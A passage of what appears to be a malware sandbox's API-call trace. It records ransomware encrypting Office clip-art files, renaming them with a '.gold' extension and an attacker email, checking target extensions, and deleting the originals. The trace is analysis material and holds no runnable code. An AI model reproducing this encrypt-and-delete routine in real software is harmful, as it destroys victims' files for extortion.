1 [0052.871] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.871] SetEndOfFile (hFile=0x1f4) returned 1 [0052.872] CloseHandle (hObject=0x1f4) returned 1 [0052.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0052.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0052.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0052.872] lstrlenW (lpString=".doc") returned 4 [0052.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.872] lstrlenW (lpString=".docx") returned 5 [0052.873] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.873] lstrlenW (lpString=".pdf") returned 4 [0052.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.873] lstrlenW (lpString=".xls") returned 4 [0052.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.873] lstrlenW (lpString=".xlsx") returned 5 [0052.873] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.873] lstrlenW (lpString=".ppt") returned 4 [0052.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0052.873] lstrlenW (lpString=".zip") returned 4 [0052.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.873] lstrlenW (lpString=".rar") returned 4 [0052.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.873] lstrlenW (lpString=".bz2") returned 4 [0052.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.873] lstrlenW (lpString=".7z") returned 3 [0052.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0052.873] lstrlenW (lpString=".dbf") returned 4 [0052.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0052.873] lstrlenW (lpString=".1cd") returned 4 [0052.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0052.873] lstrlenW (lpString=".jpg") returned 4 [0052.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0052.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0052.873] lstrlenW (lpString=".doc") returned 4 [0052.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.873] lstrlenW (lpString=".docx") returned 5 [0052.873] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.873] lstrlenW (lpString=".pdf") returned 4 [0052.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.873] lstrlenW (lpString=".xls") returned 4 [0052.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.873] lstrlenW (lpString=".xlsx") returned 5 [0052.873] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.873] lstrlenW (lpString=".ppt") returned 4 [0052.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0052.874] lstrlenW (lpString=".zip") returned 4 [0052.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.874] lstrlenW (lpString=".rar") returned 4 [0052.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.874] lstrlenW (lpString=".bz2") returned 4 [0052.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.874] lstrlenW (lpString=".7z") returned 3 [0052.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0052.874] lstrlenW (lpString=".dbf") returned 4 [0052.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0052.874] lstrlenW (lpString=".1cd") returned 4 [0052.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0052.874] lstrlenW (lpString=".jpg") returned 4 [0052.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.874] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0052.874] lstrlenW (lpString="BL00130_.WMF") returned 12 [0052.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.874] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1464) returned 1 [0052.874] CloseHandle (hObject=0x1f4) returned 1 [0052.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x20 [0052.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.875] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.875] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0052.875] GetLastError () returned 0x0 [0052.875] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x5b8, lpOverlapped=0x0) returned 1 [0052.877] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0052.879] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.880] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.880] SetEndOfFile (hFile=0x1e8) returned 1 [0052.880] CloseHandle (hObject=0x1e8) returned 1 [0052.880] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.880] SetEndOfFile (hFile=0x1f4) returned 1 [0052.880] CloseHandle (hObject=0x1f4) returned 1 [0052.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0052.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0052.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0052.881] lstrlenW (lpString=".doc") returned 4 [0052.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.881] lstrlenW (lpString=".docx") returned 5 [0052.881] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.881] lstrlenW (lpString=".pdf") returned 4 [0052.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.881] lstrlenW (lpString=".xls") returned 4 [0052.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.881] lstrlenW (lpString=".xlsx") returned 5 [0052.881] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.881] lstrlenW (lpString=".ppt") returned 4 [0052.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0052.881] lstrlenW (lpString=".zip") returned 4 [0052.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.881] lstrlenW (lpString=".rar") returned 4 [0052.881] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.881] lstrlenW (lpString=".bz2") returned 4 [0052.881] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.881] lstrlenW (lpString=".7z") returned 3 [0052.881] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0052.882] lstrlenW (lpString=".dbf") returned 4 [0052.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0052.882] lstrlenW (lpString=".1cd") returned 4 [0052.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0052.882] lstrlenW (lpString=".jpg") returned 4 [0052.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0052.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0052.882] lstrlenW (lpString=".doc") returned 4 [0052.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.882] lstrlenW (lpString=".docx") returned 5 [0052.882] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.882] lstrlenW (lpString=".pdf") returned 4 [0052.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.882] lstrlenW (lpString=".xls") returned 4 [0052.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.882] lstrlenW (lpString=".xlsx") returned 5 [0052.882] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.882] lstrlenW (lpString=".ppt") returned 4 [0052.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0052.882] lstrlenW (lpString=".zip") returned 4 [0052.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.882] lstrlenW (lpString=".rar") returned 4 [0052.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.882] lstrlenW (lpString=".bz2") returned 4 [0052.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.882] lstrlenW (lpString=".7z") returned 3 [0052.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0052.882] lstrlenW (lpString=".dbf") returned 4 [0052.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0052.882] lstrlenW (lpString=".1cd") returned 4 [0052.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0052.882] lstrlenW (lpString=".jpg") returned 4 [0052.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.882] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0052.883] lstrlenW (lpString="BL00148_.WMF") returned 12 [0052.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.883] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1696) returned 1 [0052.883] CloseHandle (hObject=0x1f4) returned 1 [0052.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x20 [0052.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.883] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.883] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0052.884] GetLastError () returned 0x0 [0052.884] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x6a0, lpOverlapped=0x0) returned 1 [0052.886] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x6b0, lpOverlapped=0x0) returned 1 [0052.887] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.887] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.887] SetEndOfFile (hFile=0x1e8) returned 1 [0052.887] CloseHandle (hObject=0x1e8) returned 1 [0052.887] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.887] SetEndOfFile (hFile=0x1f4) returned 1 [0052.888] CloseHandle (hObject=0x1f4) returned 1 [0052.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0052.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0052.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0052.888] lstrlenW (lpString=".doc") returned 4 [0052.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.888] lstrlenW (lpString=".docx") returned 5 [0052.888] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.888] lstrlenW (lpString=".pdf") returned 4 [0052.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.888] lstrlenW (lpString=".xls") returned 4 [0052.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.889] lstrlenW (lpString=".xlsx") returned 5 [0052.889] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.889] lstrlenW (lpString=".ppt") returned 4 [0052.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0052.889] lstrlenW (lpString=".zip") returned 4 [0052.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.889] lstrlenW (lpString=".rar") returned 4 [0052.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.889] lstrlenW (lpString=".bz2") returned 4 [0052.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.889] lstrlenW (lpString=".7z") returned 3 [0052.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0052.889] lstrlenW (lpString=".dbf") returned 4 [0052.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0052.889] lstrlenW (lpString=".1cd") returned 4 [0052.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0052.889] lstrlenW (lpString=".jpg") returned 4 [0052.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0052.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0052.889] lstrlenW (lpString=".doc") returned 4 [0052.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.889] lstrlenW (lpString=".docx") returned 5 [0052.889] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.889] lstrlenW (lpString=".pdf") returned 4 [0052.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.889] lstrlenW (lpString=".xls") returned 4 [0052.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.889] lstrlenW (lpString=".xlsx") returned 5 [0052.889] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.889] lstrlenW (lpString=".ppt") returned 4 [0052.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0052.889] lstrlenW (lpString=".zip") returned 4 [0052.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.889] lstrlenW (lpString=".rar") returned 4 [0052.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.889] lstrlenW (lpString=".bz2") returned 4 [0052.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.890] lstrlenW (lpString=".7z") returned 3 [0052.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0052.890] lstrlenW (lpString=".dbf") returned 4 [0052.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0052.890] lstrlenW (lpString=".1cd") returned 4 [0052.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0052.890] lstrlenW (lpString=".jpg") returned 4 [0052.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.890] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0052.890] lstrlenW (lpString="BL00152_.WMF") returned 12 [0052.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.890] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1516) returned 1 [0052.890] CloseHandle (hObject=0x1f4) returned 1 [0052.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x20 [0052.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.891] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.891] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0052.891] GetLastError () returned 0x0 [0052.891] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x5ec, lpOverlapped=0x0) returned 1 [0052.893] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x5f0, lpOverlapped=0x0) returned 1 [0052.893] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.893] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.893] SetEndOfFile (hFile=0x1e8) returned 1 [0052.893] CloseHandle (hObject=0x1e8) returned 1 [0052.894] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.894] SetEndOfFile (hFile=0x1f4) returned 1 [0052.894] CloseHandle (hObject=0x1f4) returned 1 [0052.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0052.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 